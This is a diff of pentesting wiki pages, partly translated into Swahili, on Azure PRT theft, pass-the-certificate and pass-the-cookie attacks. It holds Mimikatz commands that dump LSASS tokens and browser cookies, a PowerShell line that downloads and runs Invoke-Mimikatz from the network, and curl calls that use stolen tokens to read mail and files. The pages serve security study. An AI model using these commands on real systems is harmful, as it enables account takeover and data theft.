Check the email (you need a token authorized in login.microsoftonline.com) +curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq + +# Download a file from Teams +## You need a token that can access graph.microsoft.com +## Then, find the inside the memory and call +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq + +## Then, list one drive +curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq + +## Finally, download a file from that drive: +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +``` +**Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 9ba93e76f..531fa6e09 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -9,22 +9,22 @@ Katika mashine zilizounganishwa na Azure, inawezekana kuthibitisha kutoka mashin Kwa maneno rahisi sana: - Mashine (mteja) inayozindua muunganisho **inahitaji cheti kutoka Entra ID kwa mtumiaji**. -- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo Iliyotokana (kwa kutumia funguo za kikao na muktadha wa usalama) na **kinituma kwa Entra ID** -- Entra ID inathibitisha saini ya JWT kwa kutumia funguo za kikao za mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**. +- Mteja anaunda kichwa cha JSON Web Token (JWT) kinachojumuisha PRT na maelezo mengine, kinatia saini kwa kutumia Funguo iliyotokana (kwa kutumia funguo ya kikao na muktadha wa usalama) na **kinituma kwa Entra ID** +- Entra ID inathibitisha saini ya JWT kwa kutumia funguo ya kikao cha mteja na muktadha wa usalama, inakagua uhalali wa PRT na **inajibu** kwa **cheti**. -Katika hali hii na baada ya kupata taarifa zote zinazohitajika kwa [**Pass the PRT**](pass-the-prt.md) shambulio: +Katika hali hii na baada ya kupata taarifa zote zinazohitajika kwa [**Pass the PRT**](az-primary-refresh-token-prt.md) shambulio: - Jina la mtumiaji - Kitambulisho cha Tenant - PRT - Muktadha wa usalama -- Funguo Iliyotokana +- Funguo iliyotokana Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia zana [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia zana ya python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambayo itafanya **uthibitishaji** kwenye mashine ya mbali, kuendesha **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine. +Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia chombo cha python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambacho kitafanya **uthibitishaji** kwenye mashine ya mbali, kukimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index a093e972b..4a0a7c65b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -24,11 +24,11 @@ Kwa Mimikatz mkononi, naweza **kutoa cookies za mtumiaji** hata ingawa zimefungw ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Kwa Azure, tunajali kuhusu kuki za uthibitishaji ikiwemo **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, na **`ESTSAUTHLIGHT`**. Hizi zipo kwa sababu mtumiaji amekuwa hai kwenye Azure hivi karibuni. +Kwa Azure, tunajali kuhusu vidakuzi vya uthibitishaji ikiwa ni pamoja na **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, na **`ESTSAUTHLIGHT`**. Hivyo vipo kwa sababu mtumiaji amekuwa hai kwenye Azure hivi karibuni. -Tu naviga kwenye login.microsoftonline.com na ongeza kuki **`ESTSAUTHPERSISTENT`** (iliyoundwa na chaguo la “Stay Signed In”) au **`ESTSAUTH`**. Na utathibitishwa. +Tu naviga kwenye login.microsoftonline.com na ongeza kidakuzi **`ESTSAUTHPERSISTENT`** (kilichozalishwa na chaguo la “Stay Signed In”) au **`ESTSAUTH`**. Na utakuwa umeidhinishwa. -## References +## Marejeleo - [https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/](https://stealthbits.com/blog/bypassing-mfa-with-pass-the-cookie/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index c60c4b05a..17e5670ce 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -4,9 +4,9 @@ ## What is a Primary Refresh Token (PRT)? -A **Primary Refresh Token (PRT)** ni token ya muda mrefu ya refresher inayotumika katika uthibitishaji wa Azure AD (Entra ID), sawa na Kerberos TGT. Inatolewa wakati wa kuingia kwa mtumiaji kwenye kifaa kilichounganishwa na Azure AD na inaweza kutumika kuomba token za ufikiaji kwa programu mbalimbali bila kuhitaji tena akidi. Kila PRT inakuja na **funguo ya kikao** (pia inajulikana kama funguo ya Ushahidi wa Umiliki) -- funguo ya simetriki inayotumika kusaini maombi na kuthibitisha kwamba mteja ana PRT. PRT yenyewe ni blob isiyo na uwazi, iliyosimbwa (haiwezi kusomwa na mteja), wakati funguo ya kikao inatumika **kusaini** JWT inayojumuisha PRT wakati wa kuomba token. Kwa maneno mengine, kuwa na PRT pekee hakutoshi; mshambuliaji anahitaji funguo ya kikao kuthibitisha uhalali, sawa na kuhitaji Kerberos TGT na funguo yake ya kikao kwa uthibitishaji. +A **Primary Refresh Token (PRT)** ni token ya muda mrefu ya refresher inayotumika katika uthibitishaji wa Azure AD (Entra ID), sawa na Kerberos TGT. Inatolewa wakati wa kuingia kwa mtumiaji kwenye kifaa kilichounganishwa na Azure AD na inaweza kutumika kuomba token za ufikiaji kwa programu mbalimbali bila kuhitaji tena akidi. Kila PRT inakuja na **funguo ya kikao** (pia inajulikana kama funguo ya Ushahidi wa Umiliki) -- funguo ya symmetrick inayotumika kusaini maombi na kuthibitisha kwamba mteja ana PRT. PRT yenyewe ni blob isiyo na uwazi, iliyosimbwa (haiwezi kusomwa na mteja), wakati funguo ya kikao inatumika **kusaini** JWT inayojumuisha PRT wakati wa kuomba token. Kwa maneno mengine, umiliki wa PRT peke yake hauitoshi; mshambuliaji anahitaji funguo ya kikao kuthibitisha uhalali, sawa na kuhitaji Kerberos TGT na funguo yake ya kikao kwa uthibitishaji. -Katika Windows, PRT na funguo ya kikao zinahifadhiwa kwenye mchakato wa LSASS kupitia plugin ya CloudAP. Ikiwa kifaa kina **TPM** (Moduli ya Jukwaa Iliyotegemewa), Azure AD inafunga funguo kwa TPM kwa usalama wa ziada. Hii inamaanisha kwamba kwenye vifaa vyenye TPM, funguo ya kikao inahifadhiwa au kutumika ndani ya TPM kwa namna ambayo haiwezi kusomwa moja kwa moja kutoka kwenye kumbukumbu katika hali za kawaida. Ikiwa hakuna TPM inapatikana (k.m. VM nyingi au mifumo ya zamani), funguo zinawekwa kwenye programu na kulindwa kwa usimbuaji wa DPAPI. Katika hali zote mbili, mshambuliaji mwenye mamlaka ya usimamizi au utekelezaji wa msimbo kwenye mashine anaweza kujaribu **kudondosha PRT na funguo ya kikao kutoka kwenye kumbukumbu** kama sehemu ya baada ya unyakuzi, na kisha kuzitumia kujifanya kuwa mtumiaji katika wingu. Tofauti na token za refresher za kawaida (ambazo mara nyingi ni maalum kwa programu), PRT ni pana, ikiruhusu kifaa chako kuomba token kwa rasilimali au huduma karibu yoyote iliyounganishwa na Entra ID. +Katika Windows, PRT na funguo ya kikao zinahifadhiwa kwenye mchakato wa LSASS kupitia plugin ya CloudAP. Ikiwa kifaa kina **TPM** (Moduli ya Jukwaa Iliyotegemewa), Azure AD inafunga funguo kwa TPM kwa usalama wa ziada. Hii inamaanisha kwenye vifaa vilivyo na TPM, funguo ya kikao inahifadhiwa au kutumika ndani ya TPM kwa namna ambayo haiwezi kusomwa moja kwa moja kutoka kwenye kumbukumbu chini ya hali za kawaida. Ikiwa hakuna TPM inapatikana (k.m. VM nyingi au mifumo ya zamani), funguo zinawekwa kwenye programu na kulindwa kwa usimbaji wa DPAPI. Katika hali zote mbili, mshambuliaji mwenye mamlaka ya usimamizi au utekelezaji wa msimbo kwenye mashine anaweza kujaribu **kudondosha PRT na funguo ya kikao kutoka kwenye kumbukumbu** kama sehemu ya baada ya unyakuzi, na kisha kuzitumia kujifanya kuwa mtumiaji katika wingu. Tofauti na token za refresher za kawaida (ambazo mara nyingi ni maalum kwa programu), PRT ni pana, ikiruhusu kifaa chako kuomba token kwa rasilimali au huduma karibu yoyote iliyounganishwa na Entra ID. ## How Does a PRT Work? @@ -14,33 +14,33 @@ Here's a simplified breakdown of how a PRT operates: 1. **Device Registration:** -- When your device (like a Windows laptop or mobile phone) joins or registers with Entra ID, it authenticates using your credentials (username/password/MFA). +- Wakati kifaa chako (kama laptop ya Windows au simu ya mkononi) kinajiunga au kujiandikisha na Entra ID, kinathibitisha kwa kutumia akidi zako (jina la mtumiaji/nenosiri/MFA). -- Upon successful authentication, Entra ID issues a PRT bound specifically to your device. +- Baada ya uthibitishaji kufanikiwa, Entra ID inatoa PRT iliyofungwa mahsusi kwa kifaa chako. 2. **Token Storage:** -- The PRT is securely stored on your device, often protected by hardware features like the Trusted Platform Module (TPM), ensuring that it's difficult for unauthorized parties to extract or misuse. +- PRT inahifadhiwa kwa usalama kwenye kifaa chako, mara nyingi ikilindwa na vipengele vya vifaa kama Moduli ya Jukwaa Iliyotegemewa (TPM), kuhakikisha kwamba ni vigumu kwa wahusika wasioidhinishwa kuichota au kuitumia vibaya. 3. **Single Sign-On (SSO):** -- Each time you access an Entra ID-protected application (e.g., Microsoft 365 apps, SharePoint, Teams), your device silently uses the stored PRT to request and obtain a specific access token for that app. +- Kila wakati unapoingia kwenye programu iliyo na ulinzi wa Entra ID (k.m., programu za Microsoft 365, SharePoint, Teams), kifaa chako kimya kimya kinatumia PRT iliyohifadhiwa kuomba na kupata token maalum ya ufikiaji kwa programu hiyo. -- You don't need to enter your credentials repeatedly because the PRT transparently handles authentication. +- Huhitaji kuingiza akidi zako mara kwa mara kwa sababu PRT inashughulikia uthibitishaji kwa uwazi. 4. **Renewal and Security:** -- PRTs have a long lifetime (typically around 14 days), but are continually renewed as long as your device is actively in use. +- PRT zina muda mrefu wa maisha (kawaida takriban siku 14), lakini zinaendelea kuongezwa muda mrefu kadri kifaa chako kinavyotumika kwa shughuli. -- If your device becomes compromised or lost, administrators can revoke your PRT remotely, immediately blocking unauthorized access. +- Ikiwa kifaa chako kitakuwa na tatizo au kupotea, wasimamizi wanaweza kufuta PRT yako kwa mbali, mara moja wakizuia ufikiaji usioidhinishwa. ### Why are PRTs Powerful? -- **Universal Access:** Unlike typical tokens limited to one app or resource, a PRT can facilitate access to all Entra ID-integrated services. +- **Universal Access:** Tofauti na token za kawaida zinazozuiliwa kwa programu au rasilimali moja, PRT inaweza kuwezesha ufikiaji kwa huduma zote zilizounganishwa na Entra ID. -- **Enhanced Security:** With built-in hardware protections (like TPM), PRTs ensure secure token storage and usage. +- **Enhanced Security:** Kwa ulinzi wa vifaa vilivyojengewa ndani (kama TPM), PRT zinahakikisha uhifadhi na matumizi salama ya token. -- **User Experience:** PRTs significantly improve the user experience by reducing frequent authentication prompts and enabling true seamless SSO. +- **User Experience:** PRT zinaboresha sana uzoefu wa mtumiaji kwa kupunguza maonyesho ya mara kwa mara ya uthibitishaji na kuwezesha SSO isiyo na mshono. ## How to know if a PRT is present? @@ -61,31 +61,42 @@ dsregcmd /status # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). ``` -## Dump and user unprotected PRTs +## Pass the PRT -Kulingana na [hiki chapisho](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) kwenye vifaa vya Windows **bila TPM binding**, PRT na funguo zake za kikao zinaishi katika LSASS (CloudAP plug‑in). Ukiwa na admin wa ndani/SYSTEM kwenye kifaa hicho, PRT blob na funguo ya kikao iliyosimbwa kwa DPAPI zinaweza **kusomwa kutoka LSASS, funguo ya kikao ikasimbuliwa kupitia DPAPI, na funguo ya kusaini ikatolewa** ili kutengeneza cookie halali ya PRT (`x‑ms‑RefreshTokenCredential`). Unahitaji PRT na funguo yake ya kikao—nyota ya PRT pekee haitoshi. +Kulingana na [hiki posti](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) kwenye vifaa vya Windows **bila TPM binding**, PRT na funguo zake za kikao zinaishi katika LSASS (CloudAP plug‑in). Ukiwa na admin wa ndani/SYSTEM kwenye kifaa hicho, PRT blob na funguo ya kikao iliyosimbwa kwa DPAPI zinaweza **kusomwa kutoka LSASS, funguo ya kikao ikasimbuliwa kupitia DPAPI, na funguo ya kusaini ikatolewa** ili kutengeneza cookie halali ya PRT (`x‑ms‑RefreshTokenCredential`). Unahitaji PRT na funguo yake ya kikao—nyuzi za PRT pekee hazitoshi. ### Mimikatz + +1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye. +2. **Funguo ya Kikao inachukuliwa ifuatayo**. Kwa kuwa funguo hii inatolewa mwanzoni kisha inasimbwa tena na kifaa cha ndani, inahitaji kusimbuliwa kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md). +3. Baada ya kusimbua funguo ya Kikao, **funguo iliyotolewa na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda cookie ya PRT**. Kwa haswa, funguo iliyotolewa inatumika kwa kusaini JWT (JSON Web Token) inayounda cookie hiyo. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). ```bash privilege::debug sekurlsa::cloudap + +# Or in powershell +iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") +Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` -The **PRT field** inajumuisha token ya refresher iliyosimbwa (kawaida ni mfuatano wa base64), na KeyValue katika ProofOfPossessionKey ni funguo ya kikao iliyosimbwa kwa DPAPI (pia ni base64). +The **PRT field** inaonyesha token ya kusasisha iliyosimbwa (kawaida ni mfuatano wa base64), na KeyValue katika ProofOfPossessionKey ni funguo ya kikao iliyosimbwa kwa DPAPI (pia ni base64). Kisha, kutoka kwa **`sekurlsa::cloudap`** matokeo, nakili blob ya base64 kutoka **`KeyValue`** ndani ya uwanja `ProofOfPossessionKey` (hii ni funguo ya kikao iliyosimbwa kwa DPAPI). Funguo hii iliyosimbwa haiwezi kutumika kama ilivyo – inapaswa kufichuliwa kwa kutumia akidi za DPAPI za mfumo. -Kwa sababu usimbaji wa DPAPI kwa siri za mfumo unahitaji muktadha wa mfumo wa mashine, pandisha token yako hadi SYSTEM na tumia moduli ya DPAPI ya Mimikatz kufichua: +Kwa sababu usimbaji wa DPAPI kwa siri za mfumo unahitaji muktadha wa mfumo wa mashine, pandisha kiwango chako hadi SYSTEM na tumia moduli ya DPAPI ya Mimikatz kufichua: ```bash token::elevate dpapi::cloudapkd /keyvalue: /unprotect + +# PowerShell version +Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect"' ``` -`token::elevate` itachukua nafasi ya SYSTEM na amri `dpapi::cloudapkd` yenye `/unprotect` itatumia funguo kuu ya DPAPI kufungua KeyValue blob iliyotolewa. Hii inatoa funguo ya kikao katika maandiko safi na pia Funguo Iliyotokana na Muktadha inayotumika kwa ajili ya kusaini: +`token::elevate` itafanya uigaji wa SYSTEM na amri `dpapi::cloudapkd` yenye `/unprotect` itatumia funguo kuu ya DPAPI kufungua KeyValue blob iliyotolewa. Hii inatoa funguo ya kikao katika maandiko safi na pia Funguo Iliyotokana na Muktadha inayotumika kwa ajili ya kusaini: - **Funguo safi** – funguo ya kikao ya byte 32 katika maandiko safi (imewakilishwa kama mfuatano wa hex). - **Funguo Iliyotokana** – funguo ya byte 32 iliyotokana na funguo ya kikao na thamani ya muktadha (zaidi kuhusu hii hapa chini). -- **Muktadha** – muktadha wa nasibu wa byte 24 ambao ulitumika wakati wa kutengeneza funguo ya kusaini kwa keki ya PRT. +- **Muktadha** – muktadha wa nasibu wa byte 24 ambao ulitumika wakati wa kutunga funguo ya kusaini kwa keki ya PRT. > [!NOTE] -> Ikiwa hii haifanyi kazi kwako kuchukua nafasi ya mtumiaji, angalia sehemu ifuatayo ukitumia **`AADInternals`**. +> Ikiwa hii haifanyi kazi kwako kuigiza mtumiaji, angalia sehemu ifuatayo ukitumia **`AADInternals`**. Kisha, unaweza pia kutumia mimikatz kutengeneza keki halali ya PRT: ```bash @@ -94,12 +105,11 @@ Kisha, unaweza pia kutumia mimikatz kutengeneza keki halali ya PRT: # PRT is obtained from sekurlsa::cloudap (filed "Prt" dpapi::cloudapkd /context: /derivedkey: /prt: ``` -Mimikatz itatoa JWT iliyosainiwa (the `PRT cookie`) baada ya mstari "Signature with key", ambayo ina PRT na imesainiwa kwa kutumia ufunguo uliochukuliwa. JWT hii inaweza kunakiliwa na kisha kutumika katika kikao cha wavuti. Kwa mfano, mshambuliaji anaweza kufungua kivinjari, kwenda `login.microsoftonline.com`, na kuweka cookie yenye jina `x-ms-RefreshTokenCredential` ikiwa na thamani hii JWT. Wakati kivinjari kinapofanya upya au kuhamasisha, Azure AD itachukulia kikao kama kimethibitishwa (the PRT cookie inawasilishwa kana kwamba SSO imefanyika), na itatoa msimbo wa ruhusa au token ya ufikiaji kwa rasilimali iliyotajwa. Katika mazoezi, mtu angeweza kuhamasisha rasilimali kama Office 365 au Azure portal; uwepo wa PRT cookie halali unamaanisha Azure AD itatoa ufikiaji bila kuingia tena (kuvuka MFA, kwani PRT tayari imethibitishwa). +Mimikatz itatoa JWT iliyosainiwa (the `PRT cookie`) baada ya mstari "Signature with key", ambayo ina PRT na imesainiwa kwa kutumia ufunguo uliochukuliwa. JWT hii inaweza kunakiliwa na kisha kutumika katika kikao cha wavuti. Kwa mfano, mshambuliaji anaweza kufungua kivinjari, kwenda `login.microsoftonline.com`, na kuweka cookie yenye jina `x-ms-RefreshTokenCredential` ikiwa na thamani hii JWT. Wakati kivinjari kinapofanya upya au kuhamia, Azure AD itachukulia kikao kama kimethibitishwa (the PRT cookie inawasilishwa kana kwamba SSO imefanyika), na itatoa msimbo wa ruhusa au token ya ufikiaji kwa rasilimali iliyotajwa. Katika mazoezi, mtu angehamia kwenye rasilimali kama Office 365 au Azure portal; uwepo wa PRT cookie halali unamaanisha Azure AD itatoa ufikiaji bila kuingia tena (kuvuka MFA, kwani PRT tayari imethibitishwa). Unaweza pia kutumia **`roadtx`** na **`roadrecon`** na PRT ya PRT cookie ili kujifanya kuwa mtumiaji *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*. - -### AADInternals +### Mimikatz + AADInternals Moduli ya PowerShell **`AADInternals`** inaweza pia kutumika na PRT iliyopatikana hapo awali na ufunguo wa kikao ili kuunda token halali ya PRT. Hii ni muhimu kwa automatisering ya mchakato wa kupata token mpya ya PRT yenye nonce, ambayo inaweza kutumika kupata token za ufikiaji kwa Azure AD Graph API au rasilimali nyingine: ```bash @@ -125,31 +135,50 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey # Get an access token for MS Graph API Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken ``` -This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood. +Hii inapata cookie mpya ya PRT (ikiwa na nonce) na kisha inaitumia kupata tokeni ya ufikiaji kwa ajili ya Azure AD Graph API (ikiashiria ufikiaji wa wingu kwa niaba ya mtumiaji). AADInternals inafanya muhtasari wa sehemu kubwa ya cryptography na inatumia vipengele vya Windows au mantiki yake mwenyewe chini ya uso. +### Mimikatz + roadtx + +- Fanya upya PRT kwanza, ambayo itaokoa katika `roadtx.prt`: +```bash +roadtx prt -a renew --prt --prt-sessionkey +``` +- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA. +```bash +roadtx browserprtauth +roadtx describe < .roadtools_auth +``` +
+ +#### Mimikatz + roadrecon + +Kwa kuwa na muktadha na funguo zilizopatikana na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na: +```bash +roadrecon auth --prt-cookie --prt-context --derives-key +``` ## Abusing protected PRTs -Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still **abuse the PRT to obtain fresh access tokens** by leveraging Windows' own token broker APIs and security components. Instead of **extracting** the raw PRT or key, the attacker essentially **"asks" Windows to use the PRT on their behalf**. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and **focus on abusing built-in authentication flows** (no unpatched vulnerabilities needed). +Licha ya ulinzi ulioelezwa, mshambuliaji ambaye tayari ameathiri kifaa (kama mtumiaji wa ndani au hata SYSTEM) bado anaweza **kutitisha PRT ili kupata tokens mpya za ufikiaji** kwa kutumia APIs za broker za token za Windows na vipengele vya usalama. Badala ya **kutoa** PRT au funguo za msingi, mshambuliaji kimsingi **"anamuomba" Windows kutumia PRT kwa niaba yake**. Katika sehemu zilizo chini, tunabainisha mbinu zinazofanya kazi kwa sasa za kutitisha PRTs na funguo zao za kikao kwenye vifaa vya Windows vilivyosasishwa ambapo ulinzi wa TPM unatumika. Mbinu hizi zote zinadhani ufikiaji wa baada ya unyakuzi kwenye mashine lengwa, na **zinazingatia kutitisha mchakato wa uthibitishaji wa ndani** (hakuna udhaifu usio na patch unahitajika). ### Windows Token Broker Architecture and SSO Flow -Modern Windows handles cloud authentication via a built-in **token broker** stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include: +Windows za kisasa hushughulikia uthibitishaji wa wingu kupitia **token broker** iliyojengwa ndani, ambayo inajumuisha vipengele katika hali ya mtumiaji na LSASS (Local Security Authority). Vipengele muhimu vya usanifu huu ni pamoja na: -- **LSASS CloudAP Plugin:** When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key). +- **LSASS CloudAP Plugin:** Wakati kifaa kimeunganishwa na Azure AD, LSASS inachukua pakiti za uthibitishaji wa wingu (mfano `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) zinazoshughulikia PRTs na maombi ya token. LSASS (inayoendesha kama SYSTEM) inaratibu uhifadhi wa PRT, upya, na matumizi, na inawasiliana na TPM ili kufanya operesheni za kificho (kama kusaini changamoto ya PRT kwa funguo ya kikao). -- **Web Account Manager (WAM):** The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT. +- **Web Account Manager (WAM):** Meneja wa Akaunti za Mtandao wa Windows ni mfumo wa hali ya mtumiaji (unaoweza kufikiwa kupitia APIs za COM/WinRT) unaowezesha programu au vivinjari kuomba tokens kwa akaunti za wingu bila kuomba taarifa za kuingia. WAM inafanya kazi kama broker kati ya programu za mtumiaji na PRT iliyoungwa mkono na LSASS/TPM. Kwa mfano, maktaba ya MSAL ya Microsoft na vipengele fulani vya OS vinatumia WAM kupata tokens kimya kimya kwa kutumia PRT ya mtumiaji aliyeingia. -- **BrowserCore.exe and Token Broker COM interfaces:** For browser SSO, Windows includes a component called **BrowserCore.exe** (located under *Windows Security\BrowserCore*). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by `MicrosoftAccountTokenProvider.dll` to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in LSASS). +- **BrowserCore.exe na Token Broker COM interfaces:** Kwa SSO ya kivinjari, Windows inajumuisha kipengele kinachoitwa **BrowserCore.exe** (kilichoko chini ya *Windows Security\BrowserCore*). Hiki ni mwenyeji wa ujumbe wa asili unaotumiwa na vivinjari (Edge, Chrome kupitia nyongeza, nk.) kupata token ya SSO inayotokana na PRT kwa kuingia kwenye Azure AD. Chini ya uso, BrowserCore inatumia kitu cha COM kinachotolewa na `MicrosoftAccountTokenProvider.dll` ili kupata cookie/token inayotokana na PRT. Kwa msingi, interface hii ya COM ni API ya "token broker" ya chama cha kwanza ambayo mchakato wowote unaoendesha kama mtumiaji unaweza kuitumia ili kupata token ya SSO (ikiwa mtumiaji ana PRT halali katika LSASS). -When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an **SSO token** -- often called a **PRT cookie** -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an `x-ms-RefreshTokenCredential` header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources. +Wakati mtumiaji aliyeunganishwa na Azure AD anajaribu kufikia rasilimali (kama vile, Azure Portal), mchakato kawaida ni: programu inaita WAM au interface ya COM ya BrowserCore, ambayo kwa upande wake inawasiliana na LSASS. LSASS inatumia PRT na funguo ya kikao (iliyolindwa na TPM) kutoa **token ya SSO** -- mara nyingi inaitwa **PRT cookie** -- ambayo kisha inarudishwa kwa programu au kivinjari. PRT cookie ni JWT maalum inayojumuisha PRT iliyofichwa na nonce, iliyosainiwa kwa funguo iliyotokana na funguo ya kikao ya PRT. Cookie hii inatumwa kwa Azure AD (katika kichwa cha `x-ms-RefreshTokenCredential`) kuthibitisha kuwa kifaa na mtumiaji wana PRT halali, ikiruhusu Azure AD kutoa tokens za kawaida za OAuth za upya na ufikiaji kwa programu mbalimbali. Kwa kuzingatia, madai yoyote ya Uthibitishaji wa Mambo Mengi (MFA) yaliyopo katika PRT yatabebwa kwenye tokens zinazopatikana kupitia mchakato huu wa SSO, ikimaanisha kuwa tokens zinazotokana na PRT zinaweza kutosheleza rasilimali zilizolindwa na MFA. ### User-Level Token Theft (Non-Admin) -When an attacker has **user-level code execution**, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker **leverages built-in Windows Token Broker APIs**: +Wakati mshambuliaji ana **utendaji wa msimbo wa kiwango cha mtumiaji**, ulinzi wa TPM wa PRT hauzuia mshambuliaji kupata tokens. Mshambuliaji **anatumia APIs za Broker za Token za Windows zilizojengwa ndani**: #### **BrowserCore (MicrosoftAccountTokenProvider COM)** -BrowserCore exposes a COM class (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO. +BrowserCore inatoa darasa la COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) ili kupata cookies za PRT. API hii ya COM inaitwa kihalali na vivinjari (nyongeza za Chrome/Edge) kwa SSO ya Azure AD. - **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** ```bash @@ -158,17 +187,49 @@ 